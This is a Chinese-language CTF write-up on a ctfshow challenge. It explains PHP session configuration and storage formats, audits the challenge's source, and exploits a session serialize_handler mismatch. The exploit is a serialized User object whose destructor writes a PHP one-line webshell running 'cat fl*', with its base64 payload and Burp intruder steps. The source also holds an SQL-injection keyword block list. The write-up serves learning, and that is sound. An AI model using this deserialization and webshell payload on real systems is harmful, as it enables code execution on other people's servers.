最近做了几道Session相关的题目,所以想记录一下

什么是PHP Session

首先应该先了解什么是session
Session被我们称作“会话控制”,可以简单的理解为客户和网站或者服务器比较安全的对话方式。Session对象存储特定用户会话所需的属性及配置信息。一旦开启了session会话,就可以在网站的任何页面使用或者保持这个会话了,从而建立了一种“会话”机制。

PHP Session是一中特殊的变量,可用于存储关于用户会话的信息,或者更改用户会话的设置,PHP Session变量储存单一用户信息,并且对于应用程序中的所有页面都是可用的,并且相对于的具体session值会存储域服务器端,这也是与cookie的区别。

PHP session的php.ini配置

  • session.sava_path=’’
    设置session的储存路径
  • session.save_handler=’’
    该配置主要设定用户自定义存储函数,如果想使用PHP内置session储存机制之外的可以使用这个函数
  • session.user_strict_mode
    严格会话模式,严格会话模式不接受未初始化的会话ID并重新生成会话ID
  • session.auto_start
    指定会话模块是否在请求开始时启动一个会话,默认值为0,不启动
  • session.cookie_path
    指定要设置会话cookie.路径,默认为/
  • session.serialize_handler
    定义用来序列化/反序列化的处理器名字,默认使用php,还有其他引擎的对应的session的储存方式不相同,具体可见下文所述
  • session.upload_progress.cleanup
    读取所有POST数据(即完成上传)后,立即清理进度信息,默认启动

PHP session的存储机制
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的
php_serialize 经过serialize()函数序列化数组
php 键名+竖线+经过serialize()函数处理的值
php_binary 键名的长度对应的ascii字符+键名+serialize()函数序列化的值

来道例题感受一下吧~

找了很久都没有发现可以利用的点,就很懵逼,回头去看了下提示:程序员二黑临走前植入了一个后门,你能帮公司找出来吗?
然后看了其他师傅的wp,可以/www.zip把源码给down下来。
这里展示一下下载源码的文件及路径

————————————————————————————————————————

————————————————————————————————————————
这里是index.php的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:28:37
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}

?>


<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="initial-scale=1,maximum-scale=1, minimum-scale=1">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>ctfshow登陆</title>
<link href="css/style.css" rel="stylesheet">
</head>
<body>

<div class="pc-kk-form">
<center><h1>CTFshow 登陆</h1></center><br><br>
<form action="" onsubmit="return false;">
<div class="pc-kk-form-list">
<input id="u" type="text" placeholder="用户名">
</div>
<div class="pc-kk-form-list">
<input id="pass" type="password" placeholder="密码">
</div>

<div class="pc-kk-form-btn">
<button onclick="check();">登陆</button>
</div>
</form>
</div>


<script type="text/javascript" src="js/jquery.min.js"></script>

<script>

function check(){
$.ajax({
url:'check.php',
type: 'GET',
data:{
'u':$('#u').val(),
'pass':$('#pass').val()
},
success:function(data){
alert(JSON.parse(data).msg);
},
error:function(data){
alert(JSON.parse(data).msg);
}

});
}


</script>

</body>
</html>

这里是check.php的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:59:10
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:15:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);


if($GET){

$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}



这里是/inc/inc.php的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]);

// sql注入检查
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
}


class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}

/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/

function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . '-'
. substr ( $chars, 8, 4 ) . '-'
. substr ( $chars, 12, 4 ) . '-'
. substr ( $chars, 16, 4 ) . '-'
. substr ( $chars, 20, 12 );
return $uuid ;
}


通过代码审计我发现
index.php中使用了session_start()
并且参数limit是我们可以控制的session
check.php中使用了require_once 'inc/inc.php';require这个文件包含的函数,因此我们可以去看看inc.php
inc.php中存在

1
2
ini_set('session.serialize_handler', 'php');
session_start();

并且在User类中还有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
1
2
3
4
因此我们的思路便出来了:   
1.在index.php中利用可控的limit来传参
2.index.php会经过check.php的检查,但是check.php中又有`require_once 'inc/inc.php'`让我们进入到inc.php中
3.在inc.php中因为有`ini_set('session.serialize_handler', 'php');`会对/tmp/sess_sessID进行读取,以及`session_start();`和`User`类的存在,我们在对`_destruct`这个函数的利用,写入一句话木马到指定的文件,便可以得到我们的flag

Payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
}
$a =new User("1.php","<?php system('cat fl*');?>");
echo serialize($a);
?>

/*
O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:26:"<?php system('cat fl*');?>";s:6:"status";N;}
base64:Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6IjEucGhwIjtzOjg6InBhc3N3b3JkIjtzOjI2OiI8P3BocCBzeXN0ZW0oJ2NhdCBmbConKTs/PiI7czo2OiJzdGF0dXMiO047fQ==
但是这个是php的php_serialize_handler="php"
因此需要在反序列化前加一个竖线"|",然后再进行base64编码,插入进session[limit]中
*/

bp抓取index.php修改limit的值

————————————————————————————————————————
然后让index.php和check.php通过intruder模块一直发包,避免session上传被clearup

————————————————————————————————————————

————————————————————————————————————————

————————————————————————————————————————
最后访问log-1.php及可得到flag
(至于为什么要加log-了?好好审一下代码吧~)

————————————————————————————————————————

————————————————————————————————————————